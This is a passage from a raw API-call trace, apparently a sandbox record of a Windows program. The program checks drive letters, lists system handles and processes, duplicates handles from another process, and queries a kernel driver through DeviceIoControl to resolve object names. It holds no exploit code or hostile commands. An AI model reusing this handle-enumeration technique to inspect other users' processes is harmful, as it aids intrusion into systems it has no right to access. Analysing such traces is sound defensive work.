SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0081.397] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0081.397] GetLastError () returned 0x0 [0081.397] SetLastError (dwErrCode=0x0) [0081.397] GetLastError () returned 0x0 [0081.397] SetLastError (dwErrCode=0x0) [0081.397] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0081.397] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetLastError () returned 0x0 [0081.398] SetLastError (dwErrCode=0x0) [0081.398] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetLastError () returned 0x0 [0081.399] SetLastError (dwErrCode=0x0) [0081.399] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0081.399] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetLastError () returned 0x0 [0081.400] SetLastError (dwErrCode=0x0) [0081.400] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetLastError () returned 0x0 [0081.401] SetLastError (dwErrCode=0x0) [0081.401] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetLastError () returned 0x0 [0081.402] SetLastError (dwErrCode=0x0) [0081.402] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0081.403] GetLastError () returned 0x0 [0081.403] SetLastError (dwErrCode=0x0) [0081.403] GetLastError () returned 0x0 [0081.403] SetLastError (dwErrCode=0x0) [0081.403] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0081.403] GetLastError () returned 0x0 [0081.403] SetLastError (dwErrCode=0x0) [0081.403] GetLastError () returned 0x0 [0081.403] SetLastError (dwErrCode=0x0) [0081.403] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0081.403] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4000) returned 0x368b30 [0081.403] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x368b30, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x74c58) returned 0xc0000004 [0081.406] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.406] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x8000) returned 0x368b30 [0081.406] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x368b30, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x74c58) returned 0xc0000004 [0081.407] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.407] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10000) returned 0x368b30 [0081.408] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x368b30, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x74c58) returned 0xc0000004 [0081.410] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.410] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20000) returned 0x368b30 [0081.410] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x368b30, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x74c58) returned 0xc0000004 [0081.414] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.414] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40000) returned 0x368b30 [0081.414] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x368b30, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x74c58) returned 0xc0000004 [0081.421] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.421] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x80000) returned 0x1ec0080 [0081.423] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1ec0080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1ec0080, ResultLength=0x12e420*=0x74f00) returned 0x0 [0081.623] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4000) returned 0x368b30 [0081.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x368b30, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x13e58) returned 0xc0000004 [0081.623] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.623] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x8000) returned 0x368b30 [0081.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x368b30, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x13e58) returned 0xc0000004 [0081.624] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.624] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xc000) returned 0x368b30 [0081.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x368b30, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x13e58) returned 0xc0000004 [0081.624] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.624] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10000) returned 0x368b30 [0081.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x368b30, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x13e58) returned 0xc0000004 [0081.624] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x368b30 | out: hHeap=0x340000) returned 1 [0081.624] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x14000) returned 0x368b30 [0081.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x368b30, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x368b30, ResultLength=0x12e420*=0x13e58) returned 0x0 [0081.624] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xbc [0081.624] GetCurrentProcess () returned 0xffffffffffffffff [0081.624] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x54, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.624] CloseHandle (hObject=0xbc) returned 1 [0081.624] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.625] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x80) returned 0x364c70 [0081.625] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.625] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.625] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.625] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0081.625] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.625] PsAcquireProcessExitSynchronization () returned 0x0 [0081.625] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.625] ObReferenceObjectByHandle (in: Handle=0x54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a004ab5660, HandleInformation=0x0) returned 0x0 [0081.625] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.625] PsReleaseProcessExitSynchronization () returned 0x2 [0081.625] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.625] ObQueryNameString (in: Object=0xfffff8a004ab5660, ObjectNameInfo=0xfffffa80038547c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038547c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.625] ObfDereferenceObject (Object=0xfffff8a004ab5660) returned 0x49 [0081.625] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.625] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.625] CloseHandle (hObject=0xc0) returned 1 [0081.625] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xc0 [0081.625] GetCurrentProcess () returned 0xffffffffffffffff [0081.625] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x50, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.625] CloseHandle (hObject=0xc0) returned 1 [0081.625] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.625] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.625] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.625] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.625] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.625] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.626] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.626] PsAcquireProcessExitSynchronization () returned 0x0 [0081.626] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.626] ObReferenceObjectByHandle (in: Handle=0x50, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800361e270, HandleInformation=0x0) returned 0x0 [0081.626] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.626] PsReleaseProcessExitSynchronization () returned 0x2 [0081.626] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.626] ObQueryNameString (in: Object=0xfffffa800361e270, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.626] ObfDereferenceObject (Object=0xfffffa800361e270) returned 0x2 [0081.626] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.626] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.626] CloseHandle (hObject=0xbc) returned 1 [0081.626] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xbc [0081.626] GetCurrentProcess () returned 0xffffffffffffffff [0081.626] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0081.626] CloseHandle (hObject=0xbc) returned 1 [0081.626] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x364c70 [0081.626] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x364c70, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x364c70*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0081.626] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff880054525a8 | out: Process=0xfffff880054525a8) returned 0x0 [0081.626] PsAcquireProcessExitSynchronization () returned 0x0 [0081.626] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525c8 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525c8) [0081.626] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff880054525b0, HandleInformation=0x0 | out: Object=0xfffff880054525b0*=0xfffffa80024f6fb0, HandleInformation=0x0) returned 0x0 [0081.626] PsReleaseProcessExitSynchronization () returned 0x2 [0081.626] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.626] ZwQueryObject (in: Handle=0x38, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054525a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054525a4) returned 0xc0000004 [0081.626] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a002b24890 [0081.626] ZwQueryObject (in: Handle=0x38, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002b24890, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002b24890, ReturnLength=0x0) returned 0x0 [0081.626] ExFreePoolWithTag (P=0xfffff8a002b24890, Tag=0x0) [0081.626] ObfDereferenceObject (Object=0xfffffa80024f6fb0) returned 0x1 [0081.626] KeUnstackDetachProcess (ApcState=0xfffff880054525c8) [0081.626] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.627] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.627] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.627] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.627] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.627] PsAcquireProcessExitSynchronization () returned 0x0 [0081.627] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.627] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80024f6fb0, HandleInformation=0x0) returned 0x0 [0081.627] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.627] PsReleaseProcessExitSynchronization () returned 0x2 [0081.627] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.627] ObQueryNameString (in: Object=0xfffffa80024f6fb0, ObjectNameInfo=0xfffffa8003956044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003956044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.627] ObfDereferenceObject (Object=0xfffffa80024f6fb0) returned 0x1 [0081.627] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.627] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.627] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xbc [0081.627] GetCurrentProcess () returned 0xffffffffffffffff [0081.627] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x30, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.627] CloseHandle (hObject=0xbc) returned 1 [0081.627] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.627] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x70) returned 0x364c70 [0081.627] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.627] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.627] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.627] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0081.627] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.627] PsAcquireProcessExitSynchronization () returned 0x0 [0081.627] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.627] ObReferenceObjectByHandle (in: Handle=0x30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a004399a10, HandleInformation=0x0) returned 0x0 [0081.627] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.627] PsReleaseProcessExitSynchronization () returned 0x2 [0081.627] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.628] ObQueryNameString (in: Object=0xfffff8a004399a10, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.628] ObfDereferenceObject (Object=0xfffff8a004399a10) returned 0x2 [0081.628] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.628] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.628] CloseHandle (hObject=0xc0) returned 1 [0081.628] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xc0 [0081.628] GetCurrentProcess () returned 0xffffffffffffffff [0081.628] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x24, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.628] CloseHandle (hObject=0xc0) returned 1 [0081.628] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.628] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.628] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.628] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.628] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.628] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0081.628] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.628] PsAcquireProcessExitSynchronization () returned 0x0 [0081.628] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.628] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80037d22f0, HandleInformation=0x0) returned 0x0 [0081.628] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.628] PsReleaseProcessExitSynchronization () returned 0x2 [0081.628] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.628] ObQueryNameString (in: Object=0xfffffa80037d22f0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.628] ObfDereferenceObject (Object=0xfffffa80037d22f0) returned 0x2 [0081.628] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.628] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.628] CloseHandle (hObject=0xbc) returned 1 [0081.628] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xbc [0081.628] GetCurrentProcess () returned 0xffffffffffffffff [0081.629] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.629] CloseHandle (hObject=0xbc) returned 1 [0081.629] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.629] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x364c70 [0081.629] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.629] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.629] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.629] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0081.629] PsLookupProcessByProcessId (in: 